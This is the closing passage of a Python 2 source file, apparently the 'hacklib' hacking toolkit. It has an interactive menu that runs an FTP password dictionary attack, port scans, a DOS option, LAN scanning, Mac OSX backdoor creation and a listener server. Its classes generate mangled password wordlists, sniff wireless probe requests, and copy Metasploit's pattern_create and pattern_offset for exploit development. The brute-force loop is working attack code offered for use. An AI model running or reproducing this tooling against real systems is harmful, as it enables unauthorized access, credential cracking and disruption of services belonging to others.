751 | return
752 |
753 | if cmd == '2':
754 | ftp = FTPAuth(address)
755 | print '1) Dictionary attack'
756 | print '2) Single login'
757 | print '3) Exit'
758 | ink = _Getch()
759 | cmd = ink()
760 | username = raw_input('Username > ')
761 | if cmd == '1':
762 | print 'Try the top out of 100,000 most common passwords:'
763 | num = raw_input('> ')
764 | for password in topPasswords(num):
765 | try:
766 | response = ftp.send('USER ' + username + '\r\n')
767 | if '331' in response:
768 | response = ftp.send('PASS ' + password + '\r\n')
769 | if '331' in response:
770 | response = ftp.send('PASS ' + password + '\r\n')
771 | if '230' in response:
772 | print 'Login success!'
773 | print 'Password is: ' + password
774 | time.sleep(2)
775 | return
776 | if '530' in response:
777 | print password + ' failed.'
778 | ftp = FTPAuth(address)
779 | except:
780 | print password + ' failed.'
781 | ftp = FTPAuth(address)
782 |
783 | if cmd == '2':
784 | username = raw_input('Username > ')
785 | ftp.send('USER ' + username + '\r\n')
786 | password = raw_input('Password > ')
787 | ftp.send('PASS ' + password + '\r\n')
788 | if cmd == '3':
789 | return
790 |
791 |
792 | def uiLanScan():
793 | lan = LanScanner()
794 | print 'Starting Lan scan'
795 | hosts = lan.scan()
796 | for ip in hosts:
797 | print ip
798 | print 'Lan scan complete.'
799 | time.sleep(2)
800 |
801 |
802 | def uiCreateBackdoor():
803 | print ''
804 | print 'Select OS'
805 | print '1) Mac OSX'
806 | ink = _Getch()
807 | cmd = ink()
808 | if cmd == '1':
809 | ip = raw_input('Listener IP > ')
810 | port = raw_input('Listener Port > ')
811 | appname = raw_input('Filename > ')
812 | bd = Backdoor()
813 | bd.create(ip, port, 'OSX', appname)
814 | time.sleep(2)
815 |
816 |
817 | def uiServer():
818 | print ''
819 | port = raw_input('Listening port > ')
820 | s = Server(int(port))
821 | print 'Listening on port ' + port
822 | s.listen()
823 |
824 |
825 | def userInterface():
826 | '''Start UI if hacklib isn't being used as a library.
827 | '''
828 | firstrun = 0
829 | while True:
830 | if firstrun == 0:
831 | print '----------------------------------------------'
832 | print 'Hey. What can I do you for?'
833 | print '\n'
834 | firstrun += 1
835 | print 'Enter the number corresponding to your choice.'
836 | print ''
837 | print '1) Connect to a proxy'
838 | print '2) Target an IP or URL'
839 | print '3) Lan Scan'
840 | print '4) Create Backdoor'
841 | print '5) Server'
842 | print '6) Exit'
843 | ink = _Getch()
844 | cmd = ink()
845 | if cmd == '6':
846 | return
847 | if cmd == '2':
848 | address = raw_input('Input IP or URL > ')
849 | if '.' not in address:
850 | print 'Invalid IP/URL.'
851 | return
852 | print 'What would you like to do?'
853 | print ''
854 | print '1) Port scan'
855 | print '2) DOS'
856 | print '3) Send TCP message'
857 | print '4) Attempt login'
858 | print '5) Exit'
859 | cmd = ink()
860 | if cmd == '1':
861 | uiPortScan(getIP(address))
862 | if cmd == '2':
863 | uiDOS(getIP(address))
864 | if cmd == '3':
865 | uiTCPMessage(getIP(address))
866 | if cmd == '4':
867 | uiLogin(address)
868 | cmd = ''
869 |
870 | if cmd == '3':
871 | uiLanScan()
872 |
873 | if cmd == '4':
874 | uiCreateBackdoor()
875 |
876 | if cmd == '5':
877 | uiServer()
878 |
879 | if cmd == '1':
880 | print 'Would you like to automatically find a proxy or input one manually?'
881 | print 'Enter the number corresponding to your choice.'
882 | print ''
883 | print '1) Auto'
884 | print '2) Manual'
885 | cmd = ink()
886 | print 'Connecting to a SOCKS proxy.'
887 | proxies = getProxies()
888 | global proxy
889 | proxy = Proxy()
890 | if cmd == '1':
891 | proxy.connect(getProxies())
892 | print 'Your new IP address is ' + proxy.IP
893 | print 'This proxy is located in ' + proxy.country
894 | print '---------'
895 | time.sleep(2)
896 | if cmd == '2':
897 | pr_address = raw_input('Proxy address > ')
898 | pr_port = raw_input('Proxy port > ')
899 | pr_type = raw_input('Enter "Socks4" or "Socks5" > ')
900 | try:
901 | proxy.connect_manual(pr_address, pr_port, pr_type)
902 | except:
903 | print 'Connection failed.'
904 | time.sleep(2)
905 | pass
906 | print 'Proxy connected.'
907 | time.sleep(2)
908 | pass
909 |
910 |
911 | """
912 |
913 | This Class Mangles Words specified by the user
914 |
915 | Example:
916 |
917 | Test = hacklib.Mangle("Test", 1, 10, 1996, 2016)
918 |
919 | Test.Leet()
920 |
921 | Output: T3st
922 |
923 | """
924 |
925 |
926 | class Mangle:
927 |
928 | def __init__(self, text, num1, num2, year1, year2):
929 |
930 | self.num1 = num1
931 | self.num2 = num2
932 | self.year1 = year1
933 | self.year2 = year2
934 | self.text = text
935 |
936 | def Numbers(self):
937 |
938 | for x in self.text.split():
939 |
940 | for i in range(self.num1, self.num2):
941 |
942 | print ("%s" + "%s") % (x, i)
943 | print ("%s" + "%s") % (i, x)
944 |
945 | def Years(self):
946 |
947 | for x in self.text.split():
948 |
949 | for i in range(self.year1, self.year2):
950 |
951 | print ("%s" + "%s") % (x, i)
952 | print ("%s" + "%s") % (i, x)
953 |
954 | def UniqueNum(self):
955 |
956 | for x in self.text.split():
957 |
958 | for i in range(self.num1, self.num2):
959 |
960 | print ("%s" + "%s" + "%s") % (x, x, i)
961 |
962 | def UniqueYears(self):
963 |
964 | for x in self.text.split():
965 |
966 | for i in range(self.year1, self.year2):
967 |
968 | print ("%s" + "%s" + "%s") % (x, x, i)
969 |
970 | def FirstLetterCapNum(self):
971 |
972 | for x in self.text.split():
973 |
974 | for i in range(self.num1, self.num2):
975 |
976 | print ("%s" + "%s") % (x.capitalize(), i)
977 | print ("%s" + "%s") % (i, x.capitalize())
978 |
979 | def Caps(self):
980 |
981 | for x in self.text.split():
982 |
983 | print x.capitalize()
984 |
985 | def UniqueCaps(self):
986 |
987 | for x in self.text.split():
988 |
989 | print ("%s" + "s") % (x.capitalize(), x.capitalize())
990 |
991 | def CapandYears(self):
992 |
993 | for x in self.text.split():
994 |
995 | for i in range(self.year1, self.year2):
996 |
997 | print ("%s" + "%s") % (x.capitalize(), i)
998 | print ("%s" + "%s") % (i, x.capitalize())
999 |
1000 | def Leet(self):
1001 |
1002 | for x in self.text.split():
1003 | print x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
1004 |
1005 | def LeetCap(self):
1006 |
1007 | for x in self.text.split():
1008 | print x.capitalize().replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")
1009 |
1010 | def LeetYears(self):
1011 |
1012 | for x in self.text.split():
1013 |
1014 | for i in range(self.year1, self.year2):
1015 |
1016 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
1017 | print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
1018 |
1019 | def LeetNumbers(self):
1020 |
1021 | for x in self.text.split():
1022 |
1023 | for i in range(self.num1, self.num2):
1024 |
1025 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), i)
1026 | print ("%s" + "%s") % (i, x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"))
1027 |
1028 | def UniqueLeet(self):
1029 |
1030 | for x in self.text.split():
1031 |
1032 | print ("%s" + "%s") % (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8"), (x.replace("e", "3").replace("i", "1").replace("O", "0").replace("I", "1").replace("E", "3").replace("o", "0").replace("l", "1").replace("L", "1").replace("g", "9").replace("G", "6").replace("b", "8").replace("B", "8")))
1033 |
1034 | def Reverse(self):
1035 |
1036 | for x in self.text.split():
1037 |
1038 | print x[::-1]
1039 |
1040 | def ReverseCap(self):
1041 |
1042 | for x in self.text.split():
1043 | print x[::-1].capitalize()
1044 |
1045 | def ReverseNum(self):
1046 |
1047 | for x in self.text.split():
1048 |
1049 | for i in range(self.num1, self.num2):
1050 |
1051 | print ("%s" + "%s") % (x[::-1], i)
1052 | print ("%s" + "%s") % (i, x[::-1])
1053 |
1054 | def ReverseYears(self):
1055 |
1056 | for x in self.text.split():
1057 |
1058 | for i in range(self.year1, self.year2):
1059 |
1060 | print ("%s" + "%s") % (x[::-1], i)
1061 | print ("%s" + "%s") % (i, x[::-1])
1062 |
1063 | def ReverseUnique(self):
1064 |
1065 | for x in self.text.split():
1066 |
1067 | print x[::-1] + x[::-1]
1068 |
1069 |
1070 | '''
1071 | This Classes Dectects Probe Requests from Wireless Devices.
1072 |
1073 | Example:
1074 |
1075 | Probe = Proberequests("wlan0")
1076 |
1077 | Probe.startSniff()
1078 |
1079 | '''
1080 |
1081 |
1082 | class Proberequests:
1083 |
1084 | global probeReqs
1085 |
1086 | probeReqs = []
1087 |
1088 | def __init__(self, interface):
1089 |
1090 | self.interface = interface
1091 |
1092 | def sniffProbe(self, p):
1093 |
1094 | if p.haslayer(Dot11ProbeReq):
1095 | netName = p.getlayer(Dot11ProbeReq).info
1096 | if netName not in probeReqs:
1097 | probeReqs.append(netName)
1098 | print '[!] Detected New Probe Request: '
1099 | print "[+] ESSID: " + netName + " BSSID: " + p.addr2
1100 |
1101 | def startSniff(self):
1102 |
1103 | print "[+] Scanning...\n"
1104 |
1105 | sniff(iface=self.interface, prn=self.sniffProbe)
1106 |
1107 |
1108 | """
1109 |
1110 | This class creates a unique pattern of 20280 characters.
1111 |
1112 | This is a replica of the metasploit tool called pattern_create.rb
1113 |
1114 | Example:
1115 |
1116 | patternTest = PatternCreate(1000)
1117 |
1118 | patternTest.generate()
1119 |
1120 | Creates a unique pattern of 1000 characters.
1121 |
1122 | """
1123 |
1124 |
1125 | class PatternCreate:
1126 |
1127 | global MAX_PATTERN_LENGTH
1128 |
1129 | MAX_PATTERN_LENGTH = 20280
1130 |
1131 | def __init__(self, length):
1132 |
1133 | self.length = length
1134 |
1135 | def generate(self):
1136 |
1137 | output = []
1138 |
1139 | """
1140 | Generate a pattern of a given length up to a maximum
1141 | of 20280 - after this the pattern would repeat
1142 | """
1143 | if self.length >= MAX_PATTERN_LENGTH:
1144 | raise MaxLengthException('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH)
1145 |
1146 | pattern = ''
1147 | for upper in ascii_uppercase:
1148 | for lower in ascii_lowercase:
1149 | for digit in digits:
1150 | if len(pattern) < self.length:
1151 | pattern += upper+lower+digit
1152 | else:
1153 | out = pattern[:self.length]
1154 |
1155 | output.append(out)
1156 |
1157 | print str(output)[1:-1].replace("'", "")
1158 |
1159 |
1160 | """
1161 |
1162 | This class finds the offset from the PatternCreate class.
1163 |
1164 | This is a replica of the metasploit tool called pattern_offset.rb
1165 |
1166 | Example:
1167 |
1168 | offset = PatternOffset("Aw1A")
1169 |
1170 | offset.find()
1171 |
1172 | Finds offset of Aw1A.
1173 |
1174 | Output: [+] Offset: 663
1175 |
1176 | """
1177 |
1178 |
1179 | class PatternOffset:
1180 |
1181 | def __init__(self, search_pattern):
1182 |
1183 | self.search_pattern = search_pattern
1184 |
1185 | def find(self):
1186 |
1187 | offset = []
1188 |
1189 | needle = self.search_pattern
1190 |
1191 | try:
1192 | if needle.startswith('0x'):
1193 | # Strip off '0x', convert to ASCII and reverse
1194 | needle = needle[2:]
1195 | needle = bytes.fromhex(needle).decode('ascii')
1196 | needle = needle[::-1]
1197 | except TypeError as e:
1198 | print('Unable to convert hex input:', e)
1199 | sys.exit(1)
1200 |
1201 | haystack = ''
1202 | for upper in ascii_uppercase:
1203 | for lower in ascii_lowercase:
1204 | for digit in digits:
1205 | haystack += upper+lower+digit
1206 | found_at = haystack.find(needle)
1207 | if found_at > -1:
1208 |
1209 | offset = found_at
1210 |
1211 | print "[+] Offset: " + str(offset)
1212 |
1213 |
1214 | if __name__ == '__main__':
1215 | userInterface()
1216 |
1217 |
1218 | class MissingPackageException(Exception):
1219 | '''Raise when 3rd party modules are not able to be imported.'''
1220 |
1221 |
1222 | class MissingPipexception(Exception):
1223 | '''Raise when pip is not able to be found'''
1224 |
--------------------------------------------------------------------------------